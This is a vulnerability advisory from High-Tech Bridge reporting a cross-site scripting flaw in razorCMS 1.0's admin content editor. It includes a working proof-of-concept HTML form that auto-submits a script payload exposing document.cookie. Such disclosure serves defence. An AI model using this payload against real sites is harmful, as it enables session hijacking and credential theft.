Vulnerability ID: HTB22376 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_razorcms.html Product: razorCMS Vendor: morgan integrated systems limited Vulnerable Version: 1.0 stable Vendor Notification: 10 May 2010 Vulnerability Type: XSS (Cross Site Scripting) Status: Fixed by Vendor Risk level: Medium Credit: High-Tech Bridge SA (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "/admin/core/admin_func.php" script to properly sanitize user-supplied input in "content" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://example.com/admin/?action=edit&slab=home" method="post" name="main" > <input type="hidden" name="title" value="Home" /> <input name="content" type="hidden" value='hello"><script>alert("2"+document.cookie)</script>' /> <input type="hidden" name="ptitle" value="" /> <input type="hidden" name="theme" value="theme-default" /> <input type="hidden" name="check_sidebar" value="sidebar" /> <input type="hidden" name="save" value="Save Content" /> </form> <script> document.main.submit(); </script> Solution: Upgrade to the most recent verison